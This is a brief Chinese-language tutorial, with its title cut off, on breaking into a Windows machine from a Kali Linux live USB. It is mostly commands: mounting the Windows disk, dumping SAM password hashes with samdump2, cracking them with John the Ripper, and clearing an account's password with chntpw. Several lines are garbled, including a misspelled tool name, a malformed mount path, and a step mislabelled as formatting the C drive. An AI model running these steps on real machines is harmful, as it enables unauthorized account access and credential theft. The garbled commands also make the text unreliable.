Kali Linux系统利用John the Ripper工具破

注:将USB引导设置为默认启动，将PE盘插在Windows系统笔记本上!

DOS模式下添加用户:

C:\Windows\System32\Administator> net user test 1233 /add

注:Live Mode挂载Kali Linux，并将grub挂载至C盘上!

root@kali:~# df -m

root@kali:~# fdisk -l

root@kali:~# mount /dev/sda1/mut/

root@kali:~# cd /mut/

root@kali:/mut# ls

root@kali:/mut# cd WINDOWS/system32/config/

Samdump2导出hash日志:

root@kali:/mut/WINDOWS/system32/config# samdump2 system SAM -o sam.hash

root@kali:/mut/WINDOWS/system32/config# cat sam.hash

Johm格式化C盘文件:

root@kali:/mut/WINDOWS/system32/config# johm sam.hash --format=nt

Chntpw修改sam文件:

root@kali:/mut/WINDOWS/system32/config# chntpw -i sam

注:选择选项1进行修改，并选择添加用户对应的ID并输入，接着选择1进行清除密码，成功后选择q退出，再选择y选择保存，重启Boot选择硬盘引导，进入Windows系统添加的test用户提示无需密码即可登陆!